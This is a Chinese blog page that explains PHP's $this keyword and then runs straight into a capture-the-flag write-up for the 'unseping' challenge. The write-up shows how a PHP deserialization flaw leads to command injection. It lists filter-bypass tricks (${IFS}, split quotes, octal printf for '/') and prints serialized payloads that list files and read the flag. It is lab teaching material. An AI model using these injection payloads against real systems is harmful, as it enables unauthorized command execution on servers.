php中$this-> 表达的意思

在PHP中,$this关键字用于引用当前对象的实例,即在类的方法中,$this指向调用该方法的对象。例如,User类有一个getName()方法,它通过$this->name来访问和输出类的$name属性。当创建User对象$user1和$user2并分别设置它们的$name属性后,调用getName()方法会分别输出对应的$name值。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

$this 的含义是表示 实例化后的 具体对象!

我们一般是先声明一个类,然后用这个类去实例化对象!

但是,当我们在声明这个类的时候,想在类本身内部使用本类的属性或者方法。应该怎么表示呢?

例如:

我声明一个User类!它只含有一个属性 $name;

class User
{
   public $_name;
}

现在,我给User类加个方法。就用getName()方法,输出$name属性的值吧! 复制PHP内容到剪贴板
PHP代码:

class User
{
      public $name;

      function getName()
      {
             echo $this->name;
      }
}

//如何使用呢?

$user1 = new User();

$user1->name = '张三';

$user1->getName();        //这里就会输出张三!

$user2 = new User();

$user2->name = '李四';   

$user2->getName();       //这里会输出李四!

怎么理解呢?

我上面创建了两个User对象。分别是 $user1 和 $user2 。

当我调用 $user1->getName()的时候。 上面User类中的代码 echo $this->name ; 就是相当于是 echo $user1->name;

大概就是这么个意思!

其实,你也不要去钻牛角尖。你只要知道那是一个用来表示类内部的属性和方法的代号就好了

攻防世界 unseping(小白能看懂)讲解了一些绕过方法saltwy于 2024-12-10 14:45:33 发布阅读量897 收藏 9点赞数 30文章标签: 安全 网络版权题目代码:<?phphighlight_file(__FILE__); class ease{ private $method; private $args; function __construct($method, $args) { $this->method = $method; $this->args = $args; } function __destruct(){ if (in_array($this->method, array("ping"))) { call_user_func_array(array($this, $this->method), $this->args); } } function ping($ip){ exec($ip, $result); var_dump($result); } function waf($str){ if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) { return $str; } else { echo "don't hack"; } } function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } } $ctf=@$_POST['ctf'];@unserialize(base64_decode($ctf));?>先一点一点的分析看到最后一段代码:$ctf=@$_POST['ctf'];@unserialize(base64_decode($ctf));意思是从HTTP POST请求中获取名为ctf的数据,并赋值给变量$ctf,@用于隐藏可能的错误base64_decode()函数用于将$ctf中的base64编码字符串解码成原始数据,unserialize将进过序列化的字符串还原为php的原始数据结构,比如数组或对象。根据解释大概知道了我们传入的ctf需要先进行base64加密,在经过序列化后传入。进过了上一步骤后看到这段代码__wakeup(): function __wakeup(){ foreach($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } __wakeup()函数的触发条件是,当使用unserialize()函数反序列化对象时,会自动触发,这里提一下绕过__wakeup()的方法,当序列化字符串表示对象属性个数的值大于真实个数的属性值时会跳过__wakeup的执行。继续,当触发__wakeup函数后会执行foreach()函数的执行,这里补充一下foreach函数,foreach是php中用于遍历数组或对象的结构。它会迭代数组中的每个键值对,执行循环体中的代码。语法foreach($array as $key =>$value){},这里$array:要遍历的数组,$key:当前元素的键(下标)。$value:当前元素的值。,我们举个例子:$array = ['a' => 1, 'b' => 2, 'c' => 3];foreach ($array as $key => $value) { echo "Key: $key, Value: $value\n";}// 输出:// Key: a, Value: 1// Key: b, Value: 2// Key: c, Value: 3接下来讲一下$this->args[$k] = $this->waf($v)这段的作用:$this->args[$k]:表示数组中的键值为$k的元素。例如,如果$k="name",那么$this->args[$k]就等于$this->$args["name"],$this->waf($v):调用了当前类中的方法waf(),并将$v作为参数传递给它。waf()方法的返回值会覆盖$this->args[$k]的原始值,这里举一个例子看如下代码:class Example { private $args; function __construct($args) { $this->args = $args; } function __wakeup() { foreach ($this->args as $k => $v) { $this->args[$k] = $this->waf($v); } } function waf($str) { return strtoupper($str); // 将字符串转换为大写 } function getArgs() { return $this->args; }} // 初始化对象$obj = new Example(['name' => 'John', 'age' => '25']);$obj->__wakeup(); // 手动调用 __wakeup() print_r($obj->getArgs());// 输出:// Array// (// [name] => JOHN// [age] => 25// )__destruct(),__construct(),print(),waf()接下来就剩下__destruct(),和__construct()还有ping(),waf()这几个,我们直接直击要害,__construct()或者魔术方法的触发就是你创建一个这个类的时候它就会自动调用,而__destruct()这个魔术方法则是这个函数销毁时自动调用接下来主要分析waf()这里使用了一个!preg_match_all()函数来检测$str是否包含某些危险字符或关键词。看到__destruct()这个魔术方法,这里讲一下in_array()这个函数,用于检查某个值是否村粗在一个数组中的函数。它返回true或false,也就是说如果这个类的$method=ping,那么就执行call_user_func_array()函数,call_user_func_array()函数的作用:用于动态地调用一个方法或函数,并传递参数。这里的$this是啥,举个列子,$example = new ease();那么这个this就代表$example,而这里的$this->method则是调用的方法或者函数。也就是说我们要将method复制为ping,然后调用ping命令,然后执行exec(),将$args赋值为我们要执行的函数,还要绕过waf题目中遇见的waf,和如何绕过waf如何绕过:这里cat,tca被过滤了可以考虑使用more,less,sort,nl(显示的时候顺便显示行号),uniq,还可以使用反斜杠连接,还有可以使用'',"",${Z},进行拼接,例如cat可以用c${Z}at或者c/at,c''at,c""at,空格绕过可以使用${IFS},$IFS$9,< 符号等绕过/绕过我们可以使用oct绕过,先将/ord("/”)然后转换为八进制,将值面前的0o记得去掉,举个例子开始构造:class ease{ private $method; private $args; function __construct($method,$args){ $this->method = $method; $this->args = $args; }} $a = new ease(ping,array('l""s'));$b = serialize($a);echo base64_encode($b);之后得到的序列化将post的形式赋值给ctf得到如下,可以看到flag_1s_here,尝试去读取继续构造代码$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));接下来需要查看flag的值,因为cat被过滤了可以使用less,more等上面已经讲过,开始构造,$a = new ease("ping",array('more<f""lag_1s_here$(printf${IFS}"\57")f""lag_831b69012c67b35f.p""hp'));这里/被oct(ord("/"))转换过,而printf可以识别不同进制的数字,它支持通过格式说明符来输出十进制,十六进制,八进制等不同进制的数字而\57转换出来则是/可以成功绕过wafarray(2) { [0]=> string(5) " string(47) "//$cyberpeace{9cb5f1187f5c30d98b3f68a274d63299}" }
最新发布
04-03
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

linlinlove2

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值